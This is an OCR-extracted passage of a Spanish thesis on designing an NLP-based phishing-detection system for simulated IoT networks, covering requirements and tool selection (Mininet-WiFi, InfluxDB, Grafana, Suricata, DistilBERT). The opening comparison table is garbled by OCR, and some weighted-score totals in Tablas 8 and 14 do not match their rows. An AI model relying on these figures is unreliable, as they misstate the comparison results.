Mininet debe ser comparable al de dos maquinas nativas que ejecutan dos programas para
establecer una comunicacién en la red, similar a un cliente y un servidor de una

herramienta de pruebas de red como iperf (Lantz et al., 2017).

La Tabla 1 muestra una comparativa de las diversas opciones de simuladores de

red disponibles con base en la revision de las caracteristicas expresada en el Anexo 1.
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i Campo de . . Capa de . Soporte de Practicidad Simulacién de
Simulador Aplicacion Lenguaje Tipo Arquitectura loT Escalabilidad Estandares General Ataques
. Eventos . Pequefia Todos los protocolos Medignte
Cooja Red C,C++ . Percepcion y Red Alta Extensiones
Discretos Escala loT )
Personalizadas
Eventos ., . . .
QualNet Red C, C++ Discretos Percepciony Red  Gran Escala Zighee/802.15.4 Media Si
Eventos
. Discretos y .
CupCarbon Red SenScript Basado en Percepciony Red  Gran Escala LoRaWAN/802.15.4 Alta No
Agentes
Eventos Extensiones Mediante
OMNeT++ Red C++, Python . Percepciony Red  Gran Escala Media Extensiones
Discretos Manuales .
Personalizadas
Eventos LORaWAN,
NS-3 Red C++, Python Discretos Percepciony Red  Gran Escala 802.15.4, Alta No
6LoWPAN
Mininet- Eventos Pequefia y 6LOWPAN,
WiFi Red Python Discretos Percepcion y Red Mediana HTTP/HTTPS, Media Si
Escala CoAP, MQTT, DDS
C, G, Pequefia LoIF\QAa(\Ql\-/r,II’\IC;%FI;ee
TS mea P Spaen POl Medimy GLWPANBLE  Mesa s
Nl J.E ! P Gran Escala WiFi, HTTP,

HTTPS
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2.7 Procesamiento de Lenguaje Natural (NLP)

Es la rama de la inteligencia artificial que incorpora la linguistica en los procesos
de interaccion entre el computador y el leguaje humano, con el objetivo de proveer a las
maquinas, mecanismos de comprension e interpretacion. Su foco de investigacion se
centra en como las maquinas adquieren conocimiento, al emplear modelos lingisticos
basados en el lenguaje humano, especificamente el lenguaje natural. Su propdsito
fundamental es llevar a cabo diversas tareas relacionadas con la busqueda de informacién,
tales como la clasificacion de textos, la recuperacion de informacion y la extraccion de

datos (Gualberto, 2021).

En base al objetivo principal de NLP que consiste en el procesamiento de

informacidn se distingue generalmente las siguientes fases:

Palabras Vacias
Las palabras vacias (stopwords) guardan relacion con los términos que carecen de
contenido Iéxico o aportan escaso valor al significado de una oracion. Dentro del conjunto

de palabras vacias de manera general se incluyen a las preposiciones y articulos.

Tokenizacion

La tokenizacion se lleva a cabo en el texto restante a nivel de términos por medio
del uso de espacios, tabulaciones y lineas nuevas como delimitadores, dividiendo cada
texto en términos (tokens). La etapa de tokenizacion es crucial en el proceso de creacion
de vocabulario para el corpus, asi como para otras acciones de procesamiento de lenguaje

natural como la eliminacion de stopwords.

Etiquetado de Partes del Discurso (POS)



51

La tarea de asignacion de Parte del Discurso (POS) consiste en asignar una
categoria gramatical a cada token, indicando si se trata de un adjetivo (ADJ), un adverbio

(ADV), un sustantivo (SUSTANTIVO), un pronombre (PRON), o un verbo (VERBO).

Lematizacion

La lematizacion convierte una palabra a su forma base comun. Para simplificar
las formas derivadas relacionadas de una palabra, este proceso suele implicar el uso de
un vocabulario y un andlisis morfoldgico. La palabra separa el morfema raiz (raiz) de sus
morfemas accesorios (afijos), devolviéndola a su forma de lema, es decir, obteniendo la

raiz en su forma de diccionario.
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CAPITULO Il1. Metodologia y Disefio del Sistema

En esta seccion, se describe el proceso de disefio del sistema de deteccion de
ataques a través de la metodologia en cascada, el cual emplea un esquema secuencial
enfocado en procesos lineales, aplicando tecnologias emergentes como el procesamiento
de lenguaje natural (NLP), el cual analiza, identifica y clasifica el contenido de la
informacidn con base en el contexto linglistico, posteriormente se aborda un analisis de

los requerimientos para el funcionamiento del sistema.

3.1 Metodologia

El establecimiento de fases y procedimientos brinda un enfoque claro sobre como
abordar el problema, lo que a su vez facilita el desarrollo apropiado del trabajo de
titulacion. Bajo este contexto se realiza una investigacion preliminar en fuentes
bibliograficas que guarden relacidn con el tema, de esta manera se identifica los aspectos
mas relevantes de la arquitectura 10T, las clases de amenazas o0 ataques que tienen como
objetivo el robo de informacion y las técnicas de deteccion que emplean mecanismos de

procesamiento de lenguaje natural (NLP).

Los criterios mencionados permiten establecer una solucion que integre el
procesamiento de lenguaje natural para determinar ataques. El desarrollo del disefio y
esquema de simulacion derivan del proceso de identificacion de los elementos
fundamentales realizado en el apartado de investigacion del capitulo anterior y la

busqueda de trabajos relacionados que se realizara en la seccién de analisis.

3.1.1 Modelo en Cascada

También conocido como el modelo de ciclo de vida secuencial lineal, este enfoque
consta de cinco fases, donde cada una debe completarse antes de avanzar a la siguiente.

Este modelo es ampliamente utilizado en el desarrollo de software para garantizar el éxito
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del proyecto (Senarath, 2021). Dado el propdsito del trabajo, que consiste en desarrollar

un sistema de deteccién de phishing mediante inteligencia artificial, y considerando el

enfoque del modelo en cascada, se selecciona esta metodologia para la creacion del

sistema. A continuacidn, se expone las fases que cubre el modelo en cascada:

Analisis: Es la fase inicial en la que se definen los requisitos del software (SRS).
Los expertos en sistemas y negocios trabajan en conjunto para identificar tanto
los requerimientos funcionales como los no funcionales del software. Los
requisitos funcionales estan relacionados con las interacciones del usuario con el
software; por el contrario, los no funcionales engloban pardmetros de fiabilidad,
escalabilidad y rendimiento. Esta fase establece las bases para el desarrollo del
proyecto, definiendo de manera clara lo que debe hacer el software y en qué
condiciones.

Disefio: En esta fase, el equipo técnico traduce los requisitos en un plan detallado
para la construccion del software. Este plan incluye los componentes clave del
software, tales como algoritmos, arquitectura del software, base de datos,
diagramas ldgicos e interfaz de usuario.

Implementacion: Es la fase en la cual los programadores escriben el cddigo
fuente, desarrollan la base de datos, elementos visuales, asi como el resto de los
componentes necesarios, en esta fase se transforma los disefios, los requerimientos
y los planes en un producto tangible y funcional.

Pruebas: También denominado verificacion y validacion, en este punto el
software se somete a un escrutinio riguroso para asegurar que cumpla con los
requisitos y funciones especificados. Durante este proceso, se identifican y
corrigen los fallos del sistema, garantizando asi la calidad y fiabilidad del

producto final.
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¢ Mantenimiento: Constituye la fase final del modelo de desarrollo de software,
durante la cual se implementan modificaciones para optimizar el rendimiento,
subsanar errores desapercibidos y de ser necesario adaptar el software a nuevos
requisitos. Esta fase asegura que el software se mantenga util y eficiente a lo largo
de todo su ciclo de vida.
La Figura 4 ilustra las fases del modelo en cascada, en la cual se aprecia de manera

clara el proceso lineal caracteristico del modelo.

Figura 4

Modelo en Cascada

f\
q

' -

Fuente: Tomado de (Senarath, 2021)
3.2 Andlisis
El andlisis se enfoca en determinar los requerimientos del sistema, abarcando
tanto hardware como el software y herramientas necesarias para el disefio. Entre los
componentes requeridos, se precisa de un software que permita simular entornos de red,
herramientas que faciliten el almacenamiento y visualizacion de datos, asi como de un
software que permita monitorear la red. Adicionalmente, se lleva a cabo un analisis de la

situacion actual en torno a los ataques phishing y una revision de trabajos que permita
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identificar mecanismos de deteccion relacionados al uso de inteligencia artificial en

ataques phishing.

3.2.1Situacién Actual

El phishing se ha convertido en una de las amenazas cibernéticas de mayor
predominio actualmente. Este tipo de ataque se basa en engafar a la victima para que
revele informacion sensible, como contrasefias, informacion de cuentas bancarias o
credenciales de acceso. Aunque tradicionalmente se asocia con correos electronicos

engafiosos, el phishing engloba una amplia gama de técnicas de engafio.

En los Gltimos afios, se ha observado un incremento significativo de los ataques
de phishing. Compafiias como (SlashNext, 2023) mencionan un aumento de correos
maliciosos de phishing, impulsados en gran medida por medio de herramientas de
Inteligencia Artificial Generativa (GenAl) como ChatGPT. De hecho, el informe de
riesgos emergentes de (Gartner, 2024) sitda el uso de IA en las tres primeras categorias

de amenazas.

Las soluciones contra los ataques phishing no solo se centran en la capacitacion
del usuario, sino que también incorporan métodos de deteccidon que emplean técnicas de
inteligencia artificial. Segun (Alanezi, 2021), los métodos de deteccidn se clasifican en

las siguientes categorias:

e Métodos tradicionales
o Legal, Educativo y de Concientizacion.
o Metodos de listas negras y listas blancas
o Meétodos de similitudes visuales

o Metodos de motores de busqueda
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e MEétodos no tradicionales

o Métodos basados en contenido

o Meétodos basados en heuristica

o Meétodos de aprendizaje automatico

o Meétodos de aprendizaje profundo

o Meétodos basados en reglas difusas

o Meétodos de aprendizaje hibrido

o Meétodos de mineria de datos

En respuesta a la creciente amenaza, tanto las empresas como los usuarios han

comenzado a adoptar medidas mas proactivas para protegerse. Sin embargo, los métodos
de deteccion convencionales podrian resultar insuficientes ante la constante adaptacion y

evolucion de las técnicas de phishing.

3.2.2Revisién de Trabajos Relacionados

La revision de trabajos relacionados en el contexto de este trabajo de grado tiene
como premisa identificar los requerimientos tecnoldgicos aplicables a los procesos de
disefio e implementacion de un sistema de deteccion de ataques phishing mediante
inteligencia artificial. El proceso de revisién se fundamenta en dos criterios principales:
la metodologia de deteccion y el tipo de ataque phishing. Estos dos parametros serviran

como guia para la adecuada seleccién de algunos requisitos que precisa el sistema.

La informacién relevante de cada trabajo se ha extraido por medio de fichas

bibliograficas, cuyo contenido detallado se presenta en el Anexo 2.

La Tabla 2 muestra una sintesis de los datos clave de cada uno de los trabajos
revisados, mientras que descripcion mas exhaustiva de cada investigacion pueden ser

hallados en el Anexo 2 de este trabajo.
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Trabajos relacionados

Ficha bibliogréfica 1

Autores Denish Omondi Otieno, Akbar Siami Namin & Keith S. Jones

Editorial Institute of Electrical and Electronics Engineers (IEEE)

Titulo The Application of the BERT Transformer Model for Phishing Email
Classification

Afo 2023

Tipo Phishing basado en correo electronico

Ficha bibliogréafica 2

Autores Waafi Abdullah Bin Adam, Ivriah Yue Xuan Tan, Chung Shing Lali,
Nurtiara Tania Rahim, Benjamin Yu Bin Tham & Huaqun Guo

Editorial Institute of Electrical and Electronics Engineers (IEEE)

Titulo VishingDefender: An Advanced Vishing Defence System Against
Vishing Attacks

Afo 2023

Tipo Phishing telefonico

Ficha bibliografica 3

Autores Bianca Montes Jones & Marwan Omar

Editorial Institute of Electrical and Electronics Engineers (IEEE)

Titulo Detection of Twitter Spam with Language Models: A Case Study on How
to Use BERT to Protect Children from Spam on Twitter

Afo 2023

Tipo Phishing en redes sociales

Ficha bibliografica 4
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Autores Rebet Jones, Marwan Omar, Derek Mohammed, Calvin Nobels &
Maurice Dawson

Editorial Institute of Electrical and Electronics Engineers (IEEE)

Titulo loT Malware Detection with GPT Models
Afo 2023
Tipo Phishing basado en malware

Ficha bibliogréfica 5

Autor Ming-Yang Su & Kuan-Lin Su

Editorial Sensors

Titulo BERT-Based Approaches to Identifying Malicious URLS
Afo 2023
Tipo Phishing basado en url

3.2.3 Anélisis de la Revision de Trabajos Relacionados

e Trabajo 1: El marco técnico del trabajo se fundamenta en el uso del mecanismo
de analisis de sentimientos y modelado de temas para identificar patrones
distintivos entre correos electronicos de phishing y no phishing. La
experimentacion se lleva a cabo en el entorno de Google Colab con el fin de
aprovechar las capacidades de computacién en la nube para el tema de
procesamiento de datos y entrenamiento de modelos. Para el proceso de
clasificacion se emplea el modelo BERT (Bidirectional Encoder Representations
from Transformers) y el conjunto de datos empleado para el entrenamiento
proviene de dos fuentes principales: corpus de phishing de Nazario y el dataset de

Enron.
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Trabajo 2: En este trabajo se emplea la metodologia de conversion de voz a texto,
seguido de un analisis comparativo entre algoritmos predictivos y bibliotecas
modernas centradas en el procesamiento de lenguaje natural (NLP). Los
algoritmos predictivos incluyen Coseno Similarity, Trie y KMP, mientras que
librerias de procesamiento de lenguaje natural utilizadas son Gensim, SpaCy,
NLTK y SciKit-Learn. Esta comparacion permite determinar la eficacia en la
identificacion de patrones linglisticos asociados con intentos de ataques vishing.
Para el entrenamiento y validacion, se emplea el conjunto de datos ‘Text-
classification-of-voice-phising-transcipts’, obtenido del repositorio de GitHub. La
solucion desarrollada se materializa a manera de aplicacion movil para android y
un bot de Telegram, las cuales generan alertas en tiempo real sobre el posible
fraude.

Trabajo 3: En este trabajo se desarrolla un sistema de deteccion de spam en tweets,
utilizando una metodologia que consta de 3 fases. Estas fases corresponden al
procesamiento de datos (limpieza, normalizacion, eliminacion de caracteres),
extraccion de caracteristicas por medio del algoritmo TF-IDF (Term Frequency-
Inverse Document Frequency) y el modelado mediante ajuste fino de BERT para
detectar spam en tweets relevantes para nifios. El conjunto de datos recolectados
empleado para el ajuste fino se clasifica de manera preliminar en las categorias de
“spam” y “no spam” a través del algoritmo de Naive Bayes. Esta clasificacion
proporciona la base para el entrenamiento del modelo BERT.

Trabajo 4: El mecanismo de deteccién empleada en el trabajo se desarrolla en
torno a cuatro etapas, inicialmente se extraen secuencias de codigo de maquina
para el analisis subsiguiente que consiste en el proceso tokenizacién mediante la

plataforma de Hugging Face Transformers. Posteriormente, se convierten los
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tokens en vectores por medio de la capa de embedding del modelo GPT
(Generative Pre-trained Transformer) para de esta manera hallar la semantica de
las secuencias de codigo. Finalmente se clasifican las secuencias de codigo y se
determina la presencia de malware.

e Trabajo 5: La metodologia empleada para la deteccién de URLs maliciosas consta
de tres procesos claves que aprovechan en gran medida la potencia de
procesamiento de lenguaje natural que brinda el modelo BERT. La metodologia
parte con el preprocesamiento de datos, mediante el cual se identifican
caracteristicas por medio del algoritmo de bosque aleatorio. El siguiente proceso,
correspondiente a la tokenizacion, emplea ¢l modelo ‘bert-base-cased’ para
capturar la semantica de las URLSs sin comprometer su integridad estructural. El
ultimo proceso comprende el entrenamiento por medio del ajuste fino del modelo

BERT.

3.3 Requerimientos

La presente seccion muestra los factores requeridos para el cumplimiento de los
objetivos, asi como las medidas de implementacion del sistema para de esta manera

satisfacer el alcance establecido.

Por lo que se presenta un analisis de los requerimientos aplicables al proyecto,
tomando en cuenta la investigacion bibliografica y documental que mencionan las

herramientas de simulacion de redes loT.

La ejecucion y cumplimiento del apartado toma como referencia de desarrollo la
norma (ISO/IEC/IEEE 29148, 2018) y la Arquitectura de requisitos del Sistema (SyRA)

considerando la aplicacion de adecuaciones segun se requiera.
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A continuacion, se muestra las consideraciones de requerimientos que define el
estandar ISO/IEC/IEEE 29148:2018:
e StRS: Especificacion de Requerimientos de las Partes Interesadas (Stakeholders).
e SyRS: Especificacion de Requisitos del Sistema.

e SRS: Especificacion de Requerimientos de Software.

e SyRA: Especificacion de Requerimientos de Arquitectura.
3.3.1 Especificacion de Requisitos de las Partes Interesadas (StRS)
Los Stakeholders determinan las necesidades y requisitos de los usuarios, clientes,

patrocinadores, es decir las partes interesadas con el fin de asegurar la cohesion del

sistema con los requisitos empresariales y los objetivos estratégicos.

En consideracién a los principales aspectos del sistema, se especifican a las partes

interesadas de la solucién propuesta en la Tabla 3.

Tabla 3

Requerimientos de Stakeholders

Nro. Stakeholders Detalles
StRS1 Ing. Fabian Cuzme Tutor de Tesis
StRS2 Ing. Henry Farinango Asesor de Tesis
StRS3 Edison Picuasi Estudiante

3.3.2 Especificacion de Requisitos del Sistema (SyRS)

El estandar ISO/IEC/IEEE 29148:2018 destaca la importancia de los
requerimientos dentro del esquema de disefio del sistema, denotando el rol que desempefia
cada elemento, asi como su respectiva funcion en el proceso de deteccion por lo que las

etapas de disefio, implementacion y testeo giran en torno a las SyRS.
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Considerando los mencionados parametros, se establece la Tabla 4 acerca de los

requerimientos del sistema:

Tabla 4

Definicion de los Requisitos del Sistema

Prioridad
Nro. Requerimiento
Alta Media Baja
Capacidad de virtualizacion e interaccion entre
SyRS1 X
nodos.
Capacidad de virtualizacion de la comunicacién
SyRS2 X
inalambrica.
Capacidad para monitorear el comportamiento de
SyRS3 X
lared IoT.
Capacidad para generar alertas en caso de
SyRS4 X
detecciodn de ataques.
Compatibilidad con técnicas de NLP para
SyRS5 X
incrementar el grado de deteccion de ataques
Capacidad de deteccion, notificacion y respuesta
SyRS6 X
en lapsos cortos.
Capacidad de configuracion de variables en
SyRS7 X
funcién del ataque a implementar.
Capacidad para implementar protocolos de
SyRS8 X
comunicacion.
Compatibilidad con hardware y software de
SyRS9 X

terceros.
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Capacidad  para  ejecutar  pruebas de
SyRS10 X
funcionamiento y mantenimiento.

3.3.3 Especificacion de Requisitos de Arquitectura (SyRA)

En este apartado se muestra la estructura del hardware y software que constituye

el sistema, los cuales permiten satisfacer los requerimientos del proyecto.

La Tabla 5 muestra la ponderacion de los requisitos que servirdn como base para

el proceso de desarrollo del sistema.

Tabla b

Definicion de los Requisitos de la Arquitectura del Sistema

Prioridad
Nro. Requisitos

Alta Media Baja

El sistema debe permitir la conexién inaldmbrica
SyRA1 X
entre los nodos y el Gateway.

SyRA2 Tiempo de respuesta corta frente a ataques. X

Los elementos de la red deben generar y recopilar
SyRA3 X
informacion de manera constante.

El modelo de NLP debe clasificar el ataque
SyRA4 X
acorde a los parametros configurados.

Las pruebas deben avalar la deteccion correcta
SyRA5 X
del ataque en funcién del trafico de red.

La red debe ser escalable con relacion al nUmero
SyRA6 X
de nodos desplegados en la topologia.
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La red simulada debe suplir los aspectos basicos
SyRA7 X
de un nodo (procesamiento, conectividad).

3.3.4 Especificacion de Requisitos del Software (SRS)

El parametro SRS brinda una descripcion del software a desarrollar haciendo
énfasis en los requisitos funcionales y no funcionales. Estos requisitos contemplan
aspectos relacionados con el software tales como: finalidad, caracteristicas, rendimiento
y comportamiento. Ademas, guia el proceso de desarrollo y garantiza el cumplimiento de

las fases del proyecto.

Los requerimientos de ponderacion para el software se establecen en Tabla 6,
dichos criterios permitiran establecer la relacion con las herramientas a usar en los

procesos de simulacion e incorporacion al sistema.

Tabla 6

Definicion de Requisitos de Software

Prioridad
Nro. Requisitos Dependencia
Alta Media Baja

El tipo de licencia debe ser de cddigo
SRS1 X
abierto.
El software debe ejecutarse de manera
SRS2 nativa (no requiere una maguina X SyRS9
virtual) en el SO anfitrion.
El lenguaje de programacion debe

SRS3 X SyRS5
relacionarse a Ciencias de Datos



SRS4

SRS5

SRS6

SRS7

El software de ser compatible con

maodulos y librerias afines a NLP.

Capacidad para crear y gestionar

topologias de red.

Capacidad para simular redes

cableadas e inalambricas.

El software debe ser capaz de usar los
recursos  (interfaces, programas,

controladores) del equipo anfitrion.
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SyRS5,
SyRA4
SyRS1,
SyRS2,
SyRS8,
SyRAL,
SyRA7
SyRS2,
SyRS8,
SyRAL,

SyRA7

SyRS9

3.3.5 Especificacion de Requisitos del Modelo NLP (MRS)

En el sistema de deteccién de phishing, el modelo NLP tiene su propio grado de

relevancia, ya que influye significativamente en la eficiencia y precision del propio

sistema. La eleccion del modelo determina la capacidad de comprension del lenguaje y

volumen de informacion que puede manejar. La existencia un nimero destacable de

modelos, cuya idoneidad depende de factores como el area de aplicacion, fuente de datos

y grado de exactitud influenciaran directamente en el rendimiento del sistema. Por

consiguiente, se precisa realizar un analisis para seleccionar el modelo que mejor se

adapte a la solucion propuesta.
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La Tabla 7 detalla el criterio para establecer los requisitos de seleccién del modelo

de lenguaje natural NLP.

Tabla7

Definicion de los Requisitos del Modelo de Procesamiento de Lenguaje Natural (NLP).

Prioridad
Nro. Requisitos Medi Dependencias
Alta Baja
a

Capacidad para identificar y

MRS1 X SyRA4
clasificar entidades
Compatibilidad con el lenguaje de

MRS2 X SRS2, SRS3
programacion nativa del software
Capacidad para entender el contexto

MRS3 X
de las palabras

MRS4 Indices de precision muy altos X

MRS5 Tipo de Licencia Open Source X SRS1
Capacidad para adaptar modelos SyRS5, SyRS7,

MRS6 X
preentrenados SRS3
Capacidad para  operar en

MRS7 X
dispositivos con recursos limitados.

3.4 Disefo

3.4.1 Seleccién del Software de Simulacién

Este apartado se contextualiza en torno a la herramienta de simulacion cuya

seleccidn radica en las principales premisas que son la facultad para disefiar redes 10T y
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la compatibilidad para integrar técnicas de deteccion de ataques basados en

procesamiento de lenguaje natural NLP.

Por consiguiente, la seleccion del software de simulacién se convierte en el foco
principal para una adecuada implementacion de la solucion propuesta y en si mismo

afectara al éxito del proyecto.

De esta manera se realiza un analisis caracteristico de las principales herramientas
de simulacion en el eje del Internet de las Cosas (loT) que dard como resultado la
seleccion del software que mejor se adapte a los requerimientos tanto de red como

arquitectura.

La Tabla 8 muestra los detalles de ponderacién para la seleccion del software
tomando en cuenta los requerimientos expuestos en la Tabla 6 correspondiente a los
requisitos del software y tomando en cuenta las caracteristicas de los simuladores

expuestos en el Anexo 1.

Tabla 8

Seleccién del software de simulacion

Software de Requisitos
Total
Simulacion SRS1 SRS2 SRS3 SRS4 SRS5 SRS6 SRS7
Cooja 1 1 0 0 1 1 1 5
QualNet 0 1 0 0 1 1 1 5
CupCarbon 1 1 0 0 1 1 1 5
OMNeT++ 1 1 — — 1 1 1 5
NS-3 1 1 — — 1 1 1 5
Mininet-
1 1 1 1 1 1 1 7

WiFi
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FIT loT-

LAB

1 = Cumple, 0 = No Cumple, — = Cumplimiento Parcial

De acuerdo con los resultados obtenidos en la Tabla 8, se selecciona Mininet-
WiFi como software de simulacion para el esquema de deteccion del ataque, cumpliendo

los requerimientos impuestos de entre las diversas opciones de software.

En base a los parametros establecidos se instituye como software de simulacion
principal a Mininet-WiFi, al ofrecer los requerimientos necesarios de implementacion
ademas de que incluye componentes de comunicacion especificos para el apartado de los
sensores y la compatibilidad inherente con el lenguaje de programacion en el que se

desarrollara el modelo NLP.

3.4.1.1  Requerimientos de hardware para la simulacion

Posterior al andlisis del software se realiza una revision del apartado de hardware
del equipo anfitrion, que a priori debe cumplir los requerimientos minimos que especifica
el software de Mininet-WiFi, para que el sistema a desarrollar funcione de manera
adecuada. Como consideracion previa se debe tomar en cuenta que el equipo debe contar
una interfaz de red compatible con “mac80211 hwsim” el cual solo se encuentra en Linux
al ser un modulo propio de su kernel. Bajo las consideraciones mencionadas se selecciona
como sistema operativo anfitrion la distribucion de Ubuntu 20.04, de esta manera se suple

los requerimientos necesarios para la instalacion del software Mininet-WiFi.

La Tabla 9 expone las especificaciones del equipo en el cual se llevara a cabo la
simulacion del escenario de red y los procesos de deteccion de phishing, ademas de esto

se muestran las especificaciones minimas que requiere el software de simulacion. De esta
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manera se puede avalar que el equipo suple las especificaciones minimas que requiere el

software de simulacién.

Tabla9

Verificacion de especificaciones minimas

Especificaciones del Equipo

AMD Ryzen 5 5600H with Radeon Graphics @

Procesador
3.30 GHz
Memoria RAM SK Hynix 16.0 GB
Almacenamiento Disco de estado sélido Western Digital 250 GB
Tarjeta Grafica Nvidia GeForce RTX 3060 Laptop GPU

Tarjeta de Red Inalambrica Intel(R) Wi-Fi 6 AX200 160 MHz

Sistema Operativo Ubuntu 20.04 de 64 bits

Requerimientos de Mininet-WiFi

Procesador Procesador de doble nucleo o superior

Memoria RAM Minimo 2 GB, recomendable 4 GB o mas
Espacio en Disco 10 GB de espacio libre en disco

Tarjeta de Red Tarjeta de red compatible con el sistema operativo.
Sistema Operativo Ubuntu 16.04 LTS o posterior

3.4.2 Seleccidn del Gestor de Base de Datos.

La presencia o la gestion de varios dispositivos puede precisar también de una
disponibilidad de informacion robusta, por lo cual el almacenaje de datos también
desempefia un rol importante en cualquier ambito de control. Una red IoT no se
desvincula de ese parametro por lo que la seleccion idonea del gestor permitird un

desempefio fluido del sistema, ademas pondra a disposicion todo el conjunto de datos
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alojado para su uso en los procesos de generacion de graficas historicas y analisis de

eventos.

La Tabla 10 muestra el gestor que méas se adecua tomando en cuenta los
requerimientos del sistema, asi como de arquitectura presentada en las Tabla 4 y Tabla 5

respectivamente.

Tabla 10

Seleccion del gestor de base de datos

Requerimientos

Gestor de Base de Datos Total
SyRS3 SyRS9 SyRA3
MongoDB 0 1 1 2
InfluxDB 1 1 1 3
PostgreSQL 0 1 1 2

1 = Cumple, 0 = No Cumple

La ponderacién del gestor de base de datos arroja como la opcion éptima a
InfluxDB, la seleccién radica en torno a la caracteristica de manejo de datos relacionados
con loT, en este caso InfluxDB en el contexto de 10T tiene la capacidad de manejar la
informacion en funcion de marcas temporales que sumado al servicio Network Time
Protocol (NTP) generan unas bases de datos muy compactas. Ademas de que cuenta con
una version que opera en la nube, la cual permite extender el alcance de la disponibilidad

de informacion.

3.4.3 Seleccidn del Software de Visualizacion de Datos

En una red loT, caracterizada por la presencia de multiples dispositivos que

generan informacion de manera continua, la visualizacion de datos adquiere una
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importancia crucial. Este tipo de herramienta facilita interpretacion patrones complejos,
la identificacidn de tendencias y deteccidon de anomalias que pueden pasar desapercibidas
en un conjunto de datos en bruto. Un software de visualizacion de datos permite a obtener
una vision mas holistica de la red, proporcionando una clara representacion del flujo de
informacion y el estado de los dispositivos. Consecuentemente, esta capacidad de
visualizacion no solo mejora la comprension del sistema, sino que ademaés favorece y

aligera la toma de decisiones.

La Tabla 11 muestra los criterios de seleccion del software de visualizacion de
datos haciendo énfasis en los requerimientos del sistema y arquitectura presentes en la

Tabla 4y Tabla 5.

Tabla 11

Seleccién del software de visualizacion de datos

Software de Requerimientos
Total
Visualizacion de Datos SyRS3 SyRS4 SyRS9  SyRA3
Grafana 1 1 1 1 4
Kibana 1 X X 1 2
Zabbix X 1 1 1 3

1 = Cumple, 0 = No Cumple, X = Cumple con limitaciones

La ponderacion realizada sefiala como opcion més adecuada al software de
Grafana, la cual es muy compatible con el gestor de base de datos de InfluxDB, ademés
de que cuenta con una version en la nube mediante el cual es posible monitorizar el

correcto funcionamiento del sistema.
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3.4.4 Seleccién del Sistema de Deteccion de Intrusos

La incorporacion de un Sistema de deteccion de Intrusos (IDS) en el ambito de la
seguridad tiene un rol crucial, especialmente en entornos donde los dispositivos poseen
una limitada capacidad computacional. La integracion de este tipo de soluciones suma
capas de seguridad adicionales a estos ecosistemas vulnerables, mejorando no solo el
comportamiento de la red dada a la carencia de mecanismo de seguridad robustos
integrado en los propios dispositivos, sino que también fortalecen la defensa contra los

ataques comunmente dirigidos a redes 10T.

En base a lo expuesto se realiza una seleccion de un IDS que se adecue a la
solucion propuesta y estén alineados a los requerimientos tanto de arquitectura, software

y sistema.

La Tabla 12 muestra una ponderacién para la seleccién del Sistema de Deteccion
de Intrusos (IDS) en base a los requisitos que se exponen en la Tabla 4 y Tabla 5

correspondiente a los apartados del sistema, arquitectura y software.

Tabla 12

Seleccion del Sistema de Deteccion de Intrusos (IDS)

Sistema de Requisitos

Deteccion de Total
SyRS3 SyRS5 SyRA2 SRS1 SRS4
Intrusos (IDS)

Suricata 1 1 1 1 1 5
Snort 1 0 1 1 0 3
OSSEC 0 0 0 1 0 1

1 = Cumple, 0 = No Cumple
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3.4.5Selecciéon del Modelo NLP

Para fundamentar la seleccion del modelo, se suma a los requisitos una revision
de trabajos en el ambito de la ciberseguridad. Estos trabajos emplean modelos basados en
NLP para llevar a cabo tareas de deteccion. De esta manera se podra establecer una base

coherente para la seleccion del modelo que va de acorde con la propuesta del sistema.

La Tabla 13 muestra una sintesis de los trabajos revisados, cuyos detalles mas
extensos se encuentran en el Anexo 3. Esta recopilacion abarca varias investigaciones en
los cuales se prueban mecanismos de analisis basados en inteligencia artificial

especificamente aquellas que emplean técnicas de procesamiento de lenguaje natural.

Tabla 13

Resumen de Trabajos

Trabajo 1

Titulo CyBERT: Cybersecurity Claim Classification by Fine-Tuning the BERT
Language Model

Autores  Kimia Ameri, Michael Hempel, Hamid Sharif, Juan Lopez Jr. & Kalyan
Perumalla

Objetivo  Clasificar reclamos de eventos de ciberseguridad mediante el modelo

BERT

Trabajo 2

Titulo SecureBERT: A Domain-Specific Language Model for Cybersecurity
Autores  Ehsan Aghaei, Xi Niu, Waseem Shadid & Ehab Al-Shaer
Objetivo  Detectar texto y frases que guardan relacion con tareas de manipulacion en

el contexto de la ciberseguridad

Trabajo 3
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Titulo Revolutionizing Cyber Threat Detection with Large Language Models: A
privacy-preserving BERT-based Lightweight Model for 10T/lioT Devices
Autores  Mohamed Amine Ferrag, Mthandazo Ndhlovu, Norbert Tihanyi, Lucas C.
Cordeiro, Merouane Debbah, Thierry Lestable & Narinderjit Singh Thandi

Objetivo Identificar amenazas de seguridad en redes 0T mediante el modelo BERT

Trabajo 4

Titulo MalBERTV2: Code Aware BERT-Based Model for Malware Identification
Autores  Abir Rahali & Moulay A. Akhloufi
Objetivo Detectar malware en el codigo fuente de aplicaciones mediante el uso del

modelo de lenguaje de gran tamafio BERT.

Trabajo 5

Titulo Identification of Cybersecurity Specific Content Using the Doc2Vec
Language Model

Autores  Otgonpurev Mendsaikhan, Hirokazu Hasegawa, Yukiko Yamaguchi &
Hajime Shimada

Objetivo  Extraer informacion de las amenazas cibernéticas mediante filtros basados

en Doc2Vec

Trabajo 6

Titulo Beyond Word-Based Model Embeddings: Contextualized Representations
for Enhanced Social Media Spam Detection

Autores  Sawsan Alshattnawi, Amani Shatnawi, Anas M.R. AlSobeh & Aws A.
Magableh

Objetivo  Detectar spam en plataformas de redes sociales mediante diversos modelos

de NLP

Trabajo 7
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Titulo Detecting Phishing Sites Using ChatGPT
Autores  Takashi Koide, Naoki Fukushi, Hiroki Nakano & Daiki Chiba
Objetivo Analizar y determinar mediante GPT si el contenido de un sitio web es
fraudulento
Trabajo 8
Titulo KARTAL: Web Application Vulnerability Hunting Using Large Lan-
guage Models
Autores  Sinan Sakaoglu
Objetivo Detectar vulnerabilidades en aplicaciones web mediante el uso de GPT
Trabajo 9
Titulo BERT-Based Models for Phishing Detection
Autores  Milita Songailaité, Eglé Kankevicitté, Bohdan Zhyhun & Justina
Mandravickaité
Objetivo Detectar correos electronicos phishing por medio de la afinacion de

modelos basados en BERT y la metodologia de transferencia de aprendizaje

Una vez planteado y expuesto los requisitos, se selecciona el modelo NLP, el

proceso en cuestion se realiza mediante la ponderacion.

La Tabla 14 muestra las consideraciones de seleccion del modelo basandose en

un proceso de puntuacién gque toma en cuenta los requisitos expuestos en la Tabla 7.

Tabla 14

Seleccion del Modelo NLP

Modelos

NLP

Requisitos
Total

MRS1 MRS2 MRS3 MRS4 MRS5 MRS6 MRS7
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Word2Vec 0 1 0 0 1 0 1 2
Doc2Vec 0 1 0 0 1 0 1 2
BERT 1 1 1 1 1 1 0 6
DistilBERT 1 1 1 1 1 1 1 7
ELMo 0 1 0 1 1 0 0 3
